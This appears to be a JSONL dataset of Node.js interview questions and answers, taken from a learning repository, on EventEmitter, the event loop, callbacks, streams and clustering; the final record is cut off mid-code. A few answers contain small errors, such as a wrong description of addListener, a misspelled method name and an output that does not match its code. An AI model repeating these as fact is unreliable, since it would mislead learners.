{"id": "gh_419659fc0f0e", "question": "How to: Q. What are the global objects of Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Node.js Global Objects are the objects that are available in all modules. Global Objects are built-in objects that are part of the JavaScript and can be used directly in the application without importing any particular module.\n\nThese objects are modules, functions, strings and object itself as explained below.\n\n**1. global:**\n\nIt is a global namespace. Defining a variable within this namespace makes it globally accessible.\n\n```js\nvar myvar;\n```\n\n**2. process:**\n\nIt is an inbuilt global object that is an instance of EventEmitter used to get information on current process. It can also be accessed using require() explicitly.\n\n**3. console:**\n\nIt is an inbuilt global object used to print to stdout and stderr.\n\n```js\nconsole.log(\"Hello World\"); // Hello World\n```\n\n**4. setTimeout(), clearTimeout(), setInterval(), clearInterval():**\n\nThe built-in timer functions are globals\n\n```js\nfunction printHello() {\n   console.log( \"Hello, World!\");\n}\n\n// Now call above function after 2 seconds\nvar timeoutObj = setTimeout(printHello, 2000);\n```\n\n**5. __dirname:**\n\nIt is a string. It specifies the name of the directory that currently contains the code.\n\n```js\nconsole.log(__dirname);\n```\n\n**6. __filename:**\n\nIt specifies the filename of the code being executed. This is the resolved absolute path of this code file. The value inside a module is the path to that module file.\n\n```js\nconsole.log(__filename);\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207159"}
{"id": "gh_7461fb59db1c", "question": "How to: Q. What is chrome v8 engine?", "question_body": "About learning-zone/nodejs-basics", "answer": "V8 is a C++ based open-source JavaScript engine developed by Google. It was originally designed for Google Chrome and Chromium-based browsers ( such as Brave ) in 2008, but it was later utilized to create Node.js for server-side coding.\n\nV8 is the JavaScript engine i.e. it parses and executes JavaScript code. The DOM, and the other Web Platform APIs ( they all makeup runtime environment ) are provided by the browser.\n\nV8 is known to be a JavaScript engine because it takes JavaScript code and executes it while browsing in Chrome. It provides a runtime environment for the execution of JavaScript code. The best part is that the JavaScript engine is completely independent of the browser in which it runs.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207166"}
{"id": "gh_481c96d6e669", "question": "How to: Q. Why is LIBUV needed in Node JS?", "question_body": "About learning-zone/nodejs-basics", "answer": "**libuv** is a C library originally written for Node.js to abstract non-blocking I/O operations. It provides the following features:\n\n* It allows the CPU and other resources to be used simultaneously while still performing I/O operations, thereby resulting in efficient use of resources and network.\n* It facilitates an event-driven approach wherein I/O and other activities are performed using callback-based notifications.\n* It provides mechanisms to handle file system, DNS, network, child processes, pipes, signal handling, polling and streaming\n* It also includes a thread pool for offloading work for some things that can\\'t be done asynchronously at the operating system level.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207173"}
{"id": "gh_6f5d89248866", "question": "How to: Q. How V8 compiles JavaScript code?", "question_body": "About learning-zone/nodejs-basics", "answer": "Compilation is the process of converting human-readable code to machine code. There are two ways to compile the code\n\n* **Using an Interpreter**: The interpreter scans the code line by line and converts it into byte code.\n* **Using a Compiler**: The Compiler scans the entire document and compiles it into highly optimized byte code.\n\nThe V8 engine uses both a compiler and an interpreter and follows **just-in-time (JIT)** compilation to speed up the execution. JIT compiling works by compiling small portions of code that are just about to be executed. This prevents long compilation time and the code being compiles is only that which is highly likely to run.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207180"}
{"id": "gh_e2f101684611", "question": "How to: Q. What is EventEmitter in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "The EventEmitter is a class that facilitates communication/interaction between objects in Node.js. The EventEmitter class can be used to create and handle custom events.\n\nEventEmitter is at the core of Node asynchronous event-driven architecture. Many of Node\\'s built-in modules inherit from EventEmitter including prominent frameworks like Express.js. An emitter object basically has two main features:\n\n* Emitting name events.\n* Registering and unregistering listener functions.\n\n**Example:**\n\n```js\n/**\n * Callback Events with Parameters\n */\nconst events = require('events');\nconst eventEmitter = new events.EventEmitter();\n\nfunction listener(code, msg) {\n   console.log(`status ${code} and ${msg}`);\n}\n\neventEmitter.on('status', listener); // Register listener\neventEmitter.emit('status', 200, 'ok');\n\n// Output\nstatus 200 and ok\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207189"}
{"id": "gh_a5ae0b18e272", "question": "How to: Q. How does the EventEmitter works in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "* Event Emitter emits the data in an event called message\n* A Listened is registered on the event message\n* when the message event emits some data, the listener will get the data\n**Building Blocks:**\n\n* **.emit()** - this method in event emitter is to emit an event in module\n* **.on()** - this method is to listen to data on a registered event in node.js\n* **.once()** - it listen to data on a registered event only once.\n* **.addListener()** - it checks if the listener is registered for an event.\n* **.removeListener()** - it removes the listener for an event.\n**Example 01:**\n\n```js\n/**\n * Callbacks Events\n */\nconst events = require('events');\nconst eventEmitter = new events.EventEmitter();\n\nfunction listenerOne() {\n   console.log('First Listener Executed');\n}\n\nfunction listenerTwo() {\n   console.log('Second Listener Executed');\n}\n\neventEmitter.on('listenerOne', listenerOne); // Register for listenerOne\neventEmitter.on('listenerOne', listenerTwo); // Register for listenerOne\n\n// When the event \"listenerOne\" is emitted, both the above callbacks should be invoked.\neventEmitter.emit('listenerOne');\n\n// Output\nFirst Listener Executed\nSecond Listener Executed\n```\n\n**Example 02:**\n\n```js\n/**\n * Emit Events Once\n */\nconst events = require('events');\nconst eventEmitter = new events.EventEmitter();\n\nfunction listenerOnce() {\n   console.log('listenerOnce fired once');\n}\n\neventEmitter.once('listenerOne', listenerOnce); // Register listenerOnce\neventEmitter.emit('listenerOne');\n\n// Output\nlistenerOnce fired once\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207203"}
{"id": "gh_d05b3521fab0", "question": "How to: Q. What are the EventEmitter methods available in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "|EventEmitter Methods | Description         |\n|---------------------|---------------------|\n|.addListener(event, listener) |Adds a listener to the end of the listeners array for the specified event.|\n|.on(event, listener) |Adds a listener to the end of the listeners array for the specified event. It can also be called as an alias of emitter.addListener()|\n|.once(event, listener)|This listener is invoked only the next time the event is fired, after which it is removed.|\n|.removeListener(event, listener)|Removes a listener from the listener array for the specified event.|\n|.removeAllListeners([event])|Removes all listeners, or those of the specified event.|\n|.setMaxListeners(n)  |By default EventEmitters will print a warning if more than 10 listeners are added for a particular event.|\n|.getMaxListeners()   |Returns the current maximum listener value for the emitter which is either set by emitter.setMaxListeners(n) or defaults to EventEmitter.defaultMaxListeners.|\n|.listeners(event)    |Returns a copy of the array of listeners for the specified event.|\n|.emit(event[, arg1][, arg2][, ...]) |Raise the specified events with the supplied arguments.|\n|.listenerCount(type) |Returns the number of listeners listening to the type of event.|\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207212"}
{"id": "gh_146088f99383", "question": "How to: Q. How the Event Loop Works in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "The **event loop** allows Node.js to perform non-blocking I/O operations despite the fact that JavaScript is single-threaded. It is done by offloading operations to the system kernel whenever possible.\n\nNode.js is a single-threaded application, but it can support **concurrency** via the concept of **event** and **callbacks**. Every API of Node.js is asynchronous and being single-threaded, they use **async function calls** to maintain concurrency. Node uses observer pattern. Node thread keeps an event loop and whenever a task gets completed, it fires the corresponding event which signals the event-listener function to execute.\n\n**Features of Event Loop:**\n\n* Event loop is an endless loop, which waits for tasks, executes them and then sleeps until it receives more tasks.\n* The event loop executes tasks from the event queue only when the call stack is empty i.e. there is no ongoing task.\n* The event loop allows us to use callbacks and promises.\n* The event loop executes the tasks starting from the oldest first.\n**Example:**\n\n```js\n/**\n * Event loop in Node.js\n */\nconst events = require('events');\nconst eventEmitter = new events.EventEmitter();\n\n// Create an event handler as follows\nconst connectHandler = function connected() {\n   console.log('connection succesful.');\n   eventEmitter.emit('data_received');\n}\n\n// Bind the connection event with the handler\neventEmitter.on('connection', connectHandler);\n \n// Bind the data_received event with the anonymous function\neventEmitter.on('data_received', function() {\n   console.log('data received succesfully.');\n});\n\n// Fire the connection event \neventEmitter.emit('connection');\nconsole.log(\"Program Ended.\");\n\n// Output\nConnection succesful.\nData received succesfully.\nProgram Ended.\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207223"}
{"id": "gh_60e8a56ab28d", "question": "How to: Q. How are event listeners created in Node.JS?", "question_body": "About learning-zone/nodejs-basics", "answer": "An array containing all eventListeners is maintained by Node. Each time **.on()** function is executed, a new event listener is added to that array. When the concerned event is emitted, each **eventListener** that is present in the array is called in a sequential or synchronous manner.\n\nThe event listeners are called in a synchronous manner to avoid logical errors, race conditions etc. The total number of listeners that can be registered for a particular event, is controlled by **.setMaxListeners(n)**. The default number of listeners is 10.\n\n```js\nemitter.setMaxlisteners(12);\n```\n\nAs an event Listener once registered, exists throughout the life cycle of the program. It is important to detach an event Listener once its no longer needed to avoid memory leaks. Functions like **.removeListener()**, **.removeAllListeners()** enable the removal of listeners from the listeners Array.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207230"}
{"id": "gh_232a7941cac0", "question": "How to: Q. What is the difference between process.nextTick() and setImmediate()?", "question_body": "About learning-zone/nodejs-basics", "answer": "**1. process.nextTick():**\n\nThe process.nextTick() method adds the callback function to the start of the next event queue. It is to be noted that, at the start of the program process.nextTick() method is called for the first time before the event loop is processed.\n\n**2. setImmediate():**\n\nThe setImmediate() method is used to execute a function right after the current event loop finishes. It is callback function is placed in the check phase of the next event queue.\n\n**Example:**\n\n```js\n/**\n * setImmediate() and process.nextTick()\n */\nsetImmediate(() => {\n  console.log(\"1st Immediate\");\n});\n\nsetImmediate(() => {\n  console.log(\"2nd Immediate\");\n});\n\nprocess.nextTick(() => {\n  console.log(\"1st Process\");\n});\n\nprocess.nextTick(() => {\n  console.log(\"2nd Process\");\n});\n\n// First event queue ends here\nconsole.log(\"Program Started\");\n\n// Output\nProgram Started\n1st Process\n2nd Process\n1st Immediate\n2nd Immediate\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207238"}
{"id": "gh_77bc71dbe496", "question": "How to: Q. What is callback function in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "A callback is a function which is called when a task is completed, thus helps in preventing any kind of blocking and a callback function allows other code to run in the meantime.\n\nCallback is called when task get completed and is asynchronous equivalent for a function. Using Callback concept, Node.js can process a large number of requests without waiting for any function to return the result which makes Node.js highly scalable.\n\n**Example:**\n\n```js\n/**\n * Callback Function\n */\nfunction message(name, callback) {\n  console.log(\"Hi\" + \" \" + name);\n  callback();\n}\n\n// Callback function\nfunction callMe() {\n  console.log(\"I am callback function\");\n}\n\n// Passing function as an argument\nmessage(\"Node.JS\", callMe);\n```\n\n**Output:**\n\n```js\nHi Node.JS\nI am callback function\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207247"}
{"id": "gh_3b23282edaab", "question": "How to: Q. What is an error-first callback?", "question_body": "About learning-zone/nodejs-basics", "answer": "The pattern used across all the asynchronous methods in Node.js is called *Error-first Callback*. Here is an example:\n\n```js\nfs.readFile( \"file.json\", function ( err, data ) {\n  if ( err ) {\n    console.error( err );\n  }\n  console.log( data );\n});\n```\n\nAny asynchronous method expects one of the arguments to be a callback. The full callback argument list depends on the caller method, but the first argument is always an error object or null. When we go for the asynchronous method, an exception thrown during function execution cannot be detected in a try/catch statement. The event happens after the JavaScript engine leaves the try block.\n\nIn the preceding example, if any exception is thrown during the reading of the file, it lands on the callback function as the first and mandatory parameter.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207266"}
{"id": "gh_5f52165069be", "question": "How to: Q. What is callback hell in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "The callback hell contains complex nested callbacks. Here, every callback takes an argument that is a result of the previous callbacks. In this way, the code structure looks like a pyramid, making it difficult to read and maintain. Also, if there is an error in one function, then all other functions get affected.\n\nAn asynchronous function is one where some external activity must complete before a result can be processed; it is \"asynchronous\" in the sense that there is an unpredictable amount of time before a result becomes available. Such functions require a callback function to handle errors and process the result.\n\n**Example:**\n\n```js\n/**\n * Callback Hell\n */\nfirstFunction(function (a) {\n  secondFunction(a, function (b) {\n    thirdFunction(b, function (c) {\n      // And so on…\n    });\n  });\n});\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207273"}
{"id": "gh_958502c8e5de", "question": "How to: Q. How to avoid callback hell in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "**1. Managing callbacks using Async.js:**  \n\n`Async` is a really powerful npm module for managing asynchronous nature of JavaScript. Along with Node.js, it also works for JavaScript written for browsers.\n\nAsync provides lots of powerful utilities to work with asynchronous processes under different scenarios.\n\n```js\nnpm install --save async\n```\n\n**2. Managing callbacks hell using promises:**  \n\nPromises are alternative to callbacks while dealing with asynchronous code. Promises return the value of the result or an error exception. The core of the promises is the `.then()` function, which waits for the promise object to be returned.\n\nThe `.then()` function takes two optional functions as arguments and depending on the state of the promise only one will ever be called. The first function is called when the promise if fulfilled (A successful result). The second function is called when the promise is rejected.\n\n**Example:**\n\n```js\n/**\n * Promises\n */\nconst myPromise = new Promise((resolve, reject) => {\n  setTimeout(() => {\n    resolve(\"Successful!\");\n  }, 300);\n});\n```\n\n**3. Using Async Await:**  \n\nAsync await makes asynchronous code look like it\\'s synchronous. This has only been possible because of the reintroduction of promises into node.js. Async-Await only works with functions that return a promise.\n\n**Example:**\n\n```js\n/**\n * Async Await\n */\nconst getrandomnumber = function(){\n    return new Promise((resolve, reject)=>{\n        setTimeout(() => {\n            resolve(Math.floor(Math.random() * 20));\n        }, 1000);\n    });\n}\n\nconst addRandomNumber = async function(){\n    const sum = await getrandomnumber() + await getrandomnumber();\n    console.log(sum);\n}\n\naddRandomNumber();\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207285"}
{"id": "gh_9d0fd6b7cd5d", "question": "How to: Q. What is typically the first argument passed to a callback handler?", "question_body": "About learning-zone/nodejs-basics", "answer": "The first parameter of the callback is the **error** value. If the function hits an error, then they typically call the **callback** with the first parameter being an Error object.\n\n**Example:**\n\n```js\n/**\n * Callback Handler\n */\nconst Division = (numerator, denominator, callback) => {\n    if (denominator === 0) {\n      callback(new Error('Divide by zero error!'));\n    } else {\n      callback(null, numerator / denominator);\n    }\n};\n\n// Function Call\nDivision(5, 0, (err, result) => {\n  if (err) {\n    return console.log(err.message);\n  }\n  console.log(`Result: ${result}`);\n});\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207293"}
{"id": "gh_333a2777e76b", "question": "How to: Q. What are the timing features of Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "The Timers module in Node.js contains functions that execute code after a set period of time. Timers do not need to be imported via require(), since all the methods are available globally to emulate the browser JavaScript API.\n\nSome of the functions provided in this module are\n\n**1. setTimeout():**\n\nThis function schedules code execution after the assigned amount of time ( in milliseconds ). Only after the timeout has occurred, the code will be executed. This method returns an ID that can be used in **clearTimeout()** method.\n\n**Syntax:**\n\n```js\nsetTimeout(callback, delay, args )\n```\n\n**Example:**\n\n```js\nfunction printMessage(arg) {\n  console.log(`${arg}`);\n}\n\nsetTimeout(printMessage, 1000, 'Display this Message after 1 seconds!');\n```\n\n**2. setImmediate():**\n\nThe setImmediate() method executes the code at the end of the current event loop cycle. The function passed in the setImmediate() argument is a function that will be executed in the next iteration of the event loop.\n\n**Syntax:**\n\n```js\nsetImmediate(callback, args)\n```\n\n**Example:**\n\n```js\n// Setting timeout for the function\nsetTimeout(function () {\n    console.log('setTimeout() function running...');\n}, 500);\n\n// Running this function immediately before any other\nsetImmediate(function () {\n   console.log('setImmediate() function running...');\n});\n\n// Directly printing the statement\nconsole.log('Normal statement in the event loop');\n\n// Output\n// Normal statement in the event loop\n// setImmediate() function running...\n// setTimeout() function running...\n```\n\n**3. setInterval():**\n\nThe setInterval() method executes the code after the specified interval. The function is executed multiple times after the interval has passed. The function will keep on calling until the process is stopped externally or using code after specified time period. The clearInterval() method can be used to prevent the function from running.\n\n**Syntax:**\n\n```js\nsetInterval(callback, delay, args)\n```\n\n**Example:**\n\n```js\nsetInterval(function() {\n    console.log('Display this Message intervals of 1 seconds!');\n}, 1000);\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207307"}
{"id": "gh_176fab07ff25", "question": "How to: Q. How to implement a sleep function in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "One way to delay execution of a function in Node.js is to use async/await with promises to delay execution without callbacks function. Just put the code you want to delay in the callback. For example, below is how you can wait 1 second before executing some code.\n\n**Example:**\n\n```js\nfunction delay(time) {\n  return new Promise((resolve) => setTimeout(resolve, time));\n}\n\nasync function run() {\n  await delay(1000);\n  console.log(\"This printed after about 1 second\");\n}\n\nrun();\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207314"}
{"id": "gh_01d4b3c99a6f", "question": "How to: Q. How Node.js read the content of a file?", "question_body": "About learning-zone/nodejs-basics", "answer": "The \"normal\" way in Node.js is probably to read in the content of a file in a non-blocking, asynchronous way. That is, to tell Node to read in the file, and then to get a callback when the file-reading has been finished. That would allow us to handle several requests in parallel.\n\nCommon use for the File System module:\n\n* Read files\n* Create files\n* Update files\n* Delete files\n* Rename files  \n\n**Example:** Read Files\n\n```html\nFile Header\nFile Paragraph.\n```\n\n```js\n/**\n * read_file.js\n */\nconst http = require('http');\nconst fs = require('fs');\n\nhttp.createServer(function (req, res) {\n  fs.readFile('index.html', function(err, data) {\n    res.writeHead(200, {'Content-Type': 'text/html'});\n    res.write(data);\n    res.end();\n  });\n}).listen(3000);\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207323"}
{"id": "gh_598752de40a7", "question": "How to: Q. How many types of streams are present in node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "Streams are objects that let you read data from a source or write data to a destination in continuous fashion.\nThere are four types of streams\n\n* **Readable** − Stream which is used for read operation.\n* **Writable** − Stream which is used for write operation.\n* **Duplex** − Stream which can be used for both read and write operation.\n* **Transform** − A type of duplex stream where the output is computed based on input.  \n\nEach type of Stream is an EventEmitter instance and throws several events at different instance of times.  \n\n**Methods:**\n\n* **data** − This event is fired when there is data is available to read.\n* **end** − This event is fired when there is no more data to read.\n* **error** − This event is fired when there is any error receiving or writing data.\n* **finish** − This event is fired when all the data has been flushed to underlying system.\n\n**1. Reading from a Stream:**\n\n```js\nconst fs = require(\"fs\");\nlet data = \"\";\n\n// Create a readable stream\nconst readerStream = fs.createReadStream(\"file.txt\");\n\n// Set the encoding to be utf8.\nreaderStream.setEncoding(\"UTF8\");\n\n// Handle stream events --> data, end, and error\nreaderStream.on(\"data\", function (chunk) {\n  data += chunk;\n});\n\nreaderStream.on(\"end\", function () {\n  console.log(data);\n});\n\nreaderStream.on(\"error\", function (err) {\n  console.log(err.stack);\n});\n```\n\n**2. Writing to a Stream:**\n\n```js\nconst fs = require(\"fs\");\nconst data = \"File writing to a stream example\";\n\n// Create a writable stream\nconst writerStream = fs.createWriteStream(\"file.txt\");\n\n// Write the data to stream with encoding to be utf8\nwriterStream.write(data, \"UTF8\");\n\n// Mark the end of file\nwriterStream.end();\n\n// Handle stream events --> finish, and error\nwriterStream.on(\"finish\", function () {\n  console.log(\"Write completed.\");\n});\n\nwriterStream.on(\"error\", function (err) {\n  console.log(err.stack);\n});\n```\n\n**3. Piping the Streams:**\n\nPiping is a mechanism where we provide the output of one stream as the input to another stream. It is normally used to get data from one stream and to pass the output of that stream to another stream. There is no limit on piping operations.\n\n```js\nconst fs = require(\"fs\");\n\n// Create a readable stream\nconst readerStream = fs.createReadStream('input.txt');\n\n// Create a writable stream\nconst writerStream = fs.createWriteStream('output.txt');\n\n// Pipe the read and write operations\n// read input.txt and write data to output.txt\nreaderStream.pipe(writerStream);\n```\n\n**4. Chaining the Streams:**\n\nChaining is a mechanism to connect the output of one stream to another stream and create a chain of multiple stream operations. It is normally used with piping operations.  \n\n```js\nconst fs = require(\"fs\");\nconst zlib = require('zlib');\n\n// Compress the file input.txt to input.txt.gz\nfs.createReadStream('input.txt')\n   .pipe(zlib.createGzip())\n   .pipe(fs.createWriteStream('input.txt.gz'));\n  \nconsole.log(\"File Compressed.\");\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207342"}
{"id": "gh_3c385b71895a", "question": "How to: Q. How to handle large data in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "The Node.js stream feature makes it possible to process large data continuously in smaller chunks without keeping it all in memory. One benefit of using streams is that it saves time, since you don\\'t have to wait for all the data to load before you start processing. This also makes the process less memory-intensive.\n\nSome of the use cases of Node.js streams include:\n\n* Reading a file that\\'s larger than the free memory space, because it\\'s broken into smaller chunks and processed by streams. For example, a browser processes videos from streaming platforms like Netflix in small chunks, making it possible to watch videos immediately without having to download them all at once.\n\n* Reading large log files and writing selected parts directly to another file without downloading the source file. For example, you can go through traffic records spanning multiple years to extract the busiest day in a given year and save that data to a new file.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207350"}
{"id": "gh_766af2aa7419", "question": "How to: Q. Is Node.js entirely based on a single-thread?", "question_body": "About learning-zone/nodejs-basics", "answer": "Yes, it is true that Node.js processes all requests on a single thread. But it is just a part of the theory behind Node.js design. In fact, more than the single thread mechanism, it makes use of events and callbacks to handle a large no. of requests asynchronously.\n\nMoreover, Node.js has an optimized design which utilizes both JavaScript and C++ to guarantee maximum performance. JavaScript executes at the server-side by Google Chrome v8 engine. And the C++ lib UV library takes care of the non-sequential I/O via background workers.\n\nTo explain it practically, let\\'s assume there are 100s of requests lined up in Node.js queue. As per design, the main thread of Node.js event loop will receive all of them and forwards to background workers for execution. Once the workers finish processing requests, the registered callbacks get notified on event loop thread to pass the result back to the user.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207358"}
{"id": "gh_5cbddbac8b60", "question": "How to: Q. How does Node.js handle child threads?", "question_body": "About learning-zone/nodejs-basics", "answer": "Node.js is a single threaded language which in background uses multiple threads to execute asynchronous code.\nNode.js is non-blocking which means that all functions ( callbacks ) are delegated to the event loop and they are ( or can be ) executed by different threads. That is handled by Node.js run-time.\n\n* Nodejs Primary application runs in an event loop, which is in a single thread.\n* Background I/O is running in a thread pool that is only accessible to C/C++ or other compiled/native modules and mostly transparent to the JS.\n* Node v11/12 now has experimental worker_threads, which is another option.\n* Node.js does support forking multiple processes ( which are executed on different cores ).\n* It is important to know that state is not shared between master and forked process.\n* We can pass messages to forked process ( which is different script ) and to master process from forked process with function send.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207366"}
{"id": "gh_e7632a35bb69", "question": "How to: Q. How does Node.js support multi-processor platforms, and does it fully utilize all processor resources?", "question_body": "About learning-zone/nodejs-basics", "answer": "Since Node.js is by default a single thread application, it will run on a single processor core and will not take full advantage of multiple core resources. However, Node.js provides support for deployment on multiple-core systems, to take greater advantage of the hardware. The Cluster module is one of the core Node.js modules and it allows running multiple Node.js worker processes that will share the same port.\n\nThe cluster module helps to spawn new processes on the operating system. Each process works independently, so you cannot use shared state between child processes. Each process communicates with the main process by IPC and pass server handles back and forth.\n\nCluster supports two types of load distribution:\n\n* The main process listens on a port, accepts new connection and assigns it to a child process in a round robin fashion.\n* The main process assigns the port to a child process and child process itself listen the port.\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207380"}
{"id": "gh_0d118cd6cd8d", "question": "How to: Q. How does the cluster module work in Node.js?", "question_body": "About learning-zone/nodejs-basics", "answer": "The cluster module provides a way of creating child processes that runs simultaneously and share the same server port.\n\nNode.js runs single threaded programming, which is very memory efficient, but to take advantage of computers multi-core systems, the Cluster module allows you to easily create child processes that each runs on their own single thread, to handle the load.\n**Example:**\n\n```js\n/**\n * Cluster Module\n */\nconst cluster = require(\"cluster\");\n\nif (cluster.isMaster) {\n  console.log(`Master process is running...`);\n  cluster.fork();\n  cluster.fork();\n} else {\n  console.log(`Worker process started running`);\n}\n```\n\n**Output:**\n\n```js\nMaster process is running...\nWorker process started running\nWorker process started running\n```\n↥ back to top", "tags": ["learning-zone"], "source": "github_gists", "category": "learning-zone", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 3171, "answer_score": 10, "has_code": true, "url": "https://github.com/learning-zone/nodejs-basics", "collected_at": "2026-01-17T12:58:40.207389"}
{"id": "gh_a4ae84f640ab", "question": "How to: Q. What is load balancer and how it works?", "question_body": "About learning-zone/nodejs-basics", "answer": "A load balancer is a process that takes in HTTP requests and forwards these HTTP requests to one of a collection of servers. Load balancers are usually used for performance purposes: if a server needs to do a lot of work for each request, one server might not be enough, but 2 servers alternating handling incoming requests might.\n\n**1. Using cluster module:**\n\nNodeJS has a built-in module called Cluster Module to take the advantage of a multi-core system. Using this module you can launch NodeJS instances to each core of your system. Master process listening on a port to accept client requests and distribute across the worker using some intelligent fashion. So, using this module you can utilize the working ability of your system.\n\n**2. Using PM2:**\n\nPM2 is a production process manager for Node.js applications with a built-in load balancer. It allows you to keep applications alive forever, to reload them without the downtime and to facilitate common system admin tasks.\n\n```js\n$ pm2 start app.js -i max --name \"Balancer\"\n```\n\nThis command will run the app.js file on the cluster mode to the total no of core available on your server.\n**3. Using Express module:**\n\nThe below code basically creates two Express Servers to handle the request\n\n```js\nconst body = require('body-parser');\nconst express = 